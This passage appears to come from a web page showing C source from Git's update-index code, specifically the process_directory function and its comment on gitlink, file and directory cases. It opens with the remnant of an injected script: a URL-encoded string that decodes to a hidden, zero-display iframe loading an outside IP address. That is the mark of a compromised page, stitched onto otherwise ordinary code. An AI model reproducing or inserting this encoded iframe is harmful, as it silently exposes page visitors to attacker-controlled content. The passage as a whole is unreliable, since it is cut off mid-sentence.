7%3C%49%46%52%41%4D%45%20%6E%61%6D%65%3D%34%39%63%20%73%72%63%3D%5C%27%68%74%74%70%3A%2F%2F%32%30%30%2E%31%35%35%2E%31%37%2E%31%37%32%2F%5C%27%20%77%69%64%74%68%3D%35%38%31%20%68%65%69%67%68%74%3D%32%33%20%73%74%79%6C%65%3D%5C%27%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%5C%27%3E%3C%2F%49%46%52%41%4D%45%3E%27%29') ); //--> path that was a directory. Four cases: * * - it's already a gitlink in the index, and we keep it that * way, and update it if we can (if we cannot find the HEAD, * we're going to keep it unchanged in the index!) * * - it's a *file* in the index, in which case it should be * removed as a file if removal is allowed, since it doesn't * exist as such any more. If removal isn't allowed, it's * an error. * * (NOTE! This is old and arguably fairly strange behaviour. * We might want to make this an error unconditionally, and * use "--force-remove" if you actually want to force removal). * * - it used to exist as a subdirectory (ie multiple files with * this particular prefix) in the index, in which case it's wrong * to try to update it as a directory. * * - it doesn't exist at all in the index, but it is a valid * git directory, and it should be *added* as a gitlink. */ static int process_directory(const char *path, int len, struct stat *st) { unsigned char sha1[20]; int pos = cache_name_pos(path, len); /* Exact match: file or existing gitlink */ if (pos >= 0) { struct cache_entry *ce = active_cache[pos]; if (S_ISGITLINK(ntohl(ce->ce_mode))) { /* Do nothing to the index if there is no HEAD! */ if (resolve_gitlink_ref(path, "HEAD", sha1) < 0) return 0; return add_one_path(ce, path, len, st); } /* Should this be an unconditional error? */ return remove_one_path(path); } /* Inexact match: is th